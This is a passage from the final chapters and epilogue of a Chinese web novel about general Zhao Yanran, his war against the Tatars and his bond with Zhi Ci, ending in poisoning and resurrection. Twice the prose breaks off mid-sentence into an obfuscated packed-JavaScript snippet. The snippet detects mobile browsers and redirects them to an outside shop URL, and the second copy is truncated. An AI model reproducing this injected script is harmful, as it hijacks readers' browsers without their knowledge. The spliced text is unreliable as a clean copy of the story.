“将军,弃城撤退吧,如今援军未到,凭咱们的兵力抵抗鞑靼的确吃力,何必浪费军力守护一座无用之城?” “可当地百姓怎么办?”籍贯黄土城的将领立刻反驳。 “不管了,他们求仁得仁,下辈子投个好胎吧。” 一直沉默的赵晏然终于开口,“不能走。” 支持死守黄土城的将领们精神一震,但想弃城离去的将领们却露出失望的表情。 赵晏然继续道,“虽然敌我兵力悬殊,但黄土城地形守易攻难,我们进城全力防守,有很大几率拖至援军到来。” 一下属不服气道,“可黄土城的军事价值根本就不值得我们死守,何况城里刁民那副嘴脸,何必管他们死活?有等来援军的功夫,还不如更换战场,打几场速战速决的战役,多立些功劳。” 下属犹豫片刻,还是实话实话道,“您的决策在属下看来……非常愚蠢。” 赵晏然愣了愣。 愚蠢? 好像确实有些愚蠢。 黄土城战略价值不高,弃城后撤,他的上级也不会怪罪;何况即使击退敌人,黄土城的市民们也并不感激。 可是……既然有机会,赵晏然还是想尽可能保住这些无辜百姓的命。因为对他来说,他要保护这些百姓,与他们是否领情无关。 年幼时他曾最恨父母为同村的村民出头而死,但如今他却选择做和父母一样的事。 ——当初他没能救下知慈,所以这次,他绝不会袖手旁观、看类似悲剧重演。 他希望这世间再无人死于鞑靼铁蹄之下。 赵晏然抚过心脏位置,那里放着知慈给他绣的小小香囊。 “这一次,我一定能救下你。” - 黄土城门前。 黄土城知府率领着城内官员出城投降,但对面的鞑靼将领却直接一脚将知府踹倒在地,随即大摇大摆率兵进城。 鞑靼士兵进城后大肆烧杀劫掠,挨家挨户搜刮钱财。一时间,城内一片惊慌。 坐在地上的知府绝望朝鞑靼人大喊,“不是说好不伤人吗?” 但此刻的他与待宰的羔羊无异,一个鞑靼士兵闻言,手起刀落砍下了知府的头。 百姓们见鞑靼人出尔反尔,惊慌失措开始逃命,然而更多鞑靼人涌进城烧杀劫掠,城内乱成一团。 方才叫嚷让谢军滚蛋的百姓绝望了,他们后悔莫及,如果谢国军队没走,此刻黄土城不会这么快便成为人间炼狱。 就在这时,城外忽传来震天喊杀声。 “不、不好了!是谢国援军到了——” 话音未落,去而复返的谢国官兵便杀入城内,战局瞬间逆转。 有鞑靼将领不敢置信,“城外鞑靼的将士呢?就这么放他们进城了?” 原来鞑靼军队人数众多,此刻进城劫掠的只是第一批鞑靼官兵,大部队仍在城外排队等待进城抢劫。 此刻谢国军队突然杀过来,鞑靼军队被打的措手不及。 对面,鞑靼主帅见谢国军队只有千余人,竟如此大胆冲击他们大部队,猜测对方必有后招。 惊疑不定下,主帅下令军队立刻后撤,避免与谢国军队正面交锋,至于已经进城的鞑靼部队则直接舍弃。 谢国军队虚张声势,成功打乱鞑靼阵脚,夺回了黄土城。 黄土城百姓们再度见到谢国军队,如见天神,再无了半点之前的抵触怨憎,纷纷羞愧难当。 另一边,鞑靼军队撤退了百余里后,探子来报,主帅这才终于反应过来谢国军队在虚张声势,恼羞成怒开始反攻。 但此刻黄土城百姓对鞑靼人再无半点幻想,军民齐心将黄土城守得铁桶一般。 那之后,鞑靼军队围困黄土城三个月,却一直久攻不下,极大拖缓了鞑靼进攻的效率。 三个月后,谢国援军赶到,与城内守军里应外合,将黄土城外鞑靼军队尽数剿灭。 经此一役,赵晏然名扬天下,成为了谢国最有威望的将领。 - 战争到了第三年,鞑靼大势已去,主动投降。 战事结束后,赵晏然率军中众人凯旋回京。一时间宴会邀请如流水,赵晏然成为了京中对炙手可热的红人。 赵晏然推拒了朝中权贵的绝大部分应酬,仅参加过一场与他交情过命的军中战友的聚餐。 彼时上清派重新开始派遣弟子驻京办事,赵晏然见派来的小师弟谷雨人生地不熟,没有玩伴,便领上了小师弟一起去参加了战友们的聚会。 宴席间除了小师弟都是熟人,小师弟又性子活泼自来熟,因此酒过三巡时,席间已是一片其乐融融。 众人互诉衷肠,喝酒喝得好不痛快。 众人话题不断,从张小功的生平一直聊到了小师弟拜师学艺的经历,好多趣事连身为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14067862|144584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 师兄的赵晏然也是第一次听说。 话题兜兜转转,最后聊到了赵晏然身上。 小师弟喝多了,胆子也大了起来,他打了个酒膈,问道,“师兄,你当时怎么想的,不回上清,偏要去参军?” 闻言,赵晏然笑容淡了。 小师弟见赵晏然沉默,瞬间酒醒了一半。他刚想说几句俏皮话遮掩过去,赵晏然却说话了。 “鞑靼士兵杀了我的爱人,我想为她报仇。” 众人有些唏嘘。 早期跟着赵晏然的将士们听说过赵晏然有挚爱亲朋死在了鞑靼刀下,但赵晏然本人却从没主动聊起过这些。 “将军,节哀。”有人道。 赵晏然摇摇头,“三年来我自鞑靼人刀下救了很多人,她泉下有知,想必不会再怪我了。” 见赵晏然并不介意,有人大着胆子问,“将军,你们是怎么认识的?” 赵晏然笑笑。 “我曾在路府当过护院,那时她是府上婢女,我们便是那时相识的。” 听到‘路府’二字,在赵晏然麾下任统领的张小功眉心一跳,“将军,你的心上人我不会认识吧。” 赵晏然道,“嗯,是知慈。” “哦——”张小功恍然大悟。旁边的战友见张小功竟识得当事人,立刻凑他身边悄声道,“她长什么样,好看吗?” 赵晏然在对面听见了,直接对那人道,"你想看?我有她的画像。" 随即他从前襟中取出一张折好几折的画纸,轻缓仔细地展开。那薄薄的纸已经起了毛边,可以看出赵晏然经常翻看又极珍惜。 众人伸长了脖子,想知道究竟是怎样的美人才能俘获高冷的将军的心。 但当他们终于看到画中人时,却纷纷大失所望。 只见画像中人虽然身段苗条婀娜,脸上却有一道长疤毁了容。就容貌而言,与赵晏然并不相配。 但赵晏然语气骄傲,对他人的疑惑恍若不见。 “她是个很好的女孩,性格坚韧、又有担当。” “不过,她偶尔也有孩子气的一面。每次她一发烧,就会像小孩一样发脾气,要我去哄。” 回忆起和知慈的过往,赵晏然难得露出一点笑,眸中焕发出神采。 “其实我喜欢她任性的样子,我想让她多依赖我一点。” 他沉浸在回忆中,半晌才转回了思绪。 “可是后来,她死了。” 赵晏然神色黯淡下来。 “我看着她死却无能为力,只能不断在战场上杀敌,拯救其他卷入战争的可怜人。” “每救下一个人,我便仿佛得到了一点救赎。可每当看到被救者劫后余生的欣喜,我心里又无比痛苦。” 赵晏然沉默下来。半晌,他突然抬手捂住双眼,却还是泄出一丝哽咽。 “……因为他们都不是她。” “无论我再救多少人,我的知慈也回不来了。” - 那晚聚会结束后,赵晏然回到了将军府。 他一个人在屋中枯坐良久,直到天方既白时,他才如梦初醒。 如今鞑靼战败,再也不会有谢国百姓无辜被鞑靼人所杀了。 他再也不用保护任何人了。 于是赵晏然趁着天方熹微,动身前往青牛寺。 路上,他经过三年前同村花婶自杀那条河。 赵晏然突然有些理解了为何花婶在儿子大仇得报后会去自杀。 此时此刻,他的心境与花婶无比相似。他发现,死亡在某些情况下其实是一种解脱。 明明是赴死,赵晏然却感受到三年来从未有过的放松。 他来到青牛观,三年过去,这里已经变成了青牛寺。 他想再看看知慈当初死去的地方。 然而刚到后院,他就被一个小和尚拦了下来,“施主,此处地有妖邪,不宜前行。” 赵晏然有些无奈,“小师傅,我只进去看一眼,还请通融一下。” 他话音刚落,便见小和尚身后房门吱呀一声打开。 下一刻,赵晏然与屋内人四目相对,彻底怔住—— ……是神迹吗?他竟看见了知慈。 “知慈,是你吗?” 赵晏然突然不想死了。 知慈在哪,哪里便是他心安之处。 这一次,他的生命、他的一切,都属于知慈。 55. 尾声 数日后。 知慈和谢琅相对而坐。 知慈道,“我已请求陛下出宫游历,陛下同意了。” 谢琅垂眸,望着眼前的茶盏。 几日之前,赵晏然暴毙于家中,对外宣称突发心疾而亡。 那之后谢琅再次遇见知慈。知慈见到他后,神色如常,甚至主动笑着招呼了他一声,分毫没有因为赵晏然之死而悲伤。 谢琅当然不会因情敌之死而唏嘘,但他也并没有因知慈对赵晏然毫无感情而欣喜。 因为他突然发现,阻碍他和知慈在一起的是更大的困难。 那日谢琅和嘉平帝的对谈后,谢琅惊觉父皇并不像想象中那样贤明大度,而知慈作为兴佑帝的女儿,父皇对她的宠爱下时刻蕴藏着杀机。 兴佑帝如今人在鞑靼,被父皇视作心头大患,一旦哪天父皇翻脸想对知慈不利,单凭现在的自己,完全没有办法护住知慈。 所以眼下知慈能远离皇宫甩脱父皇控制,这是一件好事。 谢琅心道,他必须尽快壮大自己的势力,待将来实力足够那天,便将知慈接回。 谢琅凝视着她,“接下来你想去哪?” “向西走走吧。”知慈道。 “那挺好的。”谢琅道。 说完,他不知该再说些什么,沉默了下来。 知慈见谢琅不说话,也不再找话题,“行,那我走了。” 说着,知慈起身,准备离开。 就在知慈迈出屋门门槛时,她听见谢琅唤她。 “知慈。” 知慈回头。 她看见谢琅张了张嘴,似乎还想留她,又不知该说什么。 半晌,他终于道,“……保重。” 知慈笑了,“自然,你也保重。” - 知慈背着包袱离开了皇宫。 轻鸿出来送她。 “殿下,您真得不需要我照顾你了吗?” 知慈摇了摇头。 她其实很喜欢轻鸿,但她也很清楚轻鸿是皇帝的人。 之前她要杀赵晏然,一切能利用的力量她自然都不会放弃。 但如今取回了寿命,她就必须惜命些了。 三年前嘉平帝大张旗鼓寻找民间公主时,知慈便觉得像在作秀——寻找皇室血脉这种事,本该隐秘越好,如此高调很容易吸引别有用心之人。 那时知慈便猜测,其实嘉平帝根本不在意找到的是否是真公主,他只是想用这件事来向全天下彰显自己的兄友弟恭,表示对兴佑帝的尊重罢了。 轻鸿作为皇帝的耳目,知慈很清楚自己一举一动都会传回皇帝耳朵之中。 但知慈也同样清楚,起码短期之内,只要她履行了兴佑帝之女的吉祥物职责,让皇帝有机会借她展示贤明大度,那皇帝对她的行为便会睁一只眼闭一只眼。 但如今赵晏然死了,她的目的已经达成。伴君如伴虎,知慈自然不想继续身处这种杀机四伏的环境中。 她想出去走走,哪里都好,总之不要是京城了。 知慈发自内心道,“轻鸿,这段时间多谢你,我们以后一定还有机会相见的。” 她与轻鸿道别,在轻鸿依依不舍的目光中渐行渐远,向着广阔的天地迈出了第一步。 - 一年后。 知慈已游历过谢国西部边境上的数个城池。 外面的广阔天地令知慈大开眼界,她愈发想继续踏遍这片土地的山山水水。 这日她决定启程前往边境线旁一邻国,提前来到集市上购买补给。 集市上人们议论纷纷,知慈稍作打探,得知远在京城的嘉平帝因病薨了。 同知慈闲聊的小贩压低声音,“有传言说,陛下是被他第五子毒杀的,病薨不过是托词。”他说完左右张望,生怕被人听到这大逆不道的言论。 圣上第五子,不就是谢琅? 知慈觉得他危言耸听,她印象里谢琅对陛下极为崇拜,怎可能做出弑父之举? 知慈采买好了必备的水和干粮,骑马出城。 马蹄声嘚嘚响着,知慈有一瞬间觉得自己像个孤独的浪人。 不知行过多久,知慈看到前方官道上站着一个人。 她越靠近,越觉得此人眼熟。 那人一身黑衣,脚蹬长靴,眉目英俊,抱臂似笑非笑望着她,不是赵晏然是谁? 知慈眉心一跳,勒马停在了赵晏然身前。 两人一高一低,知慈坐在马背上,垂眸俯视着赵晏然。 “你不是死了么。” 意料之外,情理之中。既然自己有过起死回生的经历,那赵晏然死而复生便也没什么稀奇。 赵晏然微微仰头凝视着知慈,道,“嗯,我死了,然后遇见了和你做交易的神明。” 知慈不动声色,“哦,所以你也和祂做了交易,回来向我索命?” 赵晏然叹了口气,摇头道,“你就这么想我?你明知只要你想,我可以心甘情愿被你杀掉。” 知慈握紧了手中缰绳,“……我只记得你临死之前想把我也带走。” 赵晏然面不改色,依旧凝视着她,“是啊,因为我恨你惦记别人。” 他继续道,“不过游历地府一遭,我想明白了。是我做的不够好,才让你有暇想着别人。所以,接下来我愿任你驱使,尽己所能讨你欢心。” 知慈挑了挑眉,“任我驱使?” 赵晏然没有说话,只眉目含情,专注望着她。 静默中,二人之间仿佛有无形的暧昧涌动。 半晌,知慈笑了一声,移开视线,“那要看你表现。” 她驭马绕开赵晏然,任由白马在官道之上嘚嘚缓行。 赵晏然漫不经心瞥了身后一眼,随即来到白马身边,帮知慈牵起白马的缰绳。 官道之上,二人一马悠然前行,渐渐变成了一个小点,消失在西域的春日里。 - -后记- 赵晏然杀死沈纤纤后,知慈与他握手言和。 他以为知慈真得原谅了他,欣欣然接过知慈给他倒的茶水。 然而他下一瞬他便嗅出了水中有毒。 赵晏然心中怆然,明白了知慈依然恨他。 可赵晏然望着知慈情真意切的关心模样,他还是选择了如她所愿,喝下了那杯毒茶。 他喜欢她表现得很爱他,纵使是谎言,他也甘之如饴。 知慈携着毒糕点来找他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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令赵晏然欣喜的是,知慈并未和谢琅在一起,她真如当初同自己所说的一样,一个人游历西域。 但知慈对谢琅没有感情,谢琅却对她余情未了。 赵晏然一靠近知慈,便立刻察觉知慈周围有数名暗卫暗中保护,只是他们刻意压低了气息,不让知慈察觉。 赵晏然远远观察了一整天,确定下来这些暗卫都是谢琅的人。 第二日晌午,赵晏然听到暗卫们谈论他们的主子。说谢琅弑父后,扶植皇长孙做了谢国的傀儡皇帝,而他本人作为摄政王实际大权独握。如今朝中局势已经平稳,谢琅不日便会启程,亲自过来接知慈回京。 赵晏然心中冷笑,如今他抢占先机,怎会再让旁人趁虚而入? 他手起刀落,悄无声息解决掉所有了暗卫,彻底掐掉了谢琅的眼线。 随即,他来到官道前方,换上一副轻松神色等待知慈。 他愿任她差遣,讨她欢心。 相对的,这辈子她将永远只能与他纠缠在一起。 不死不休。 (全文完)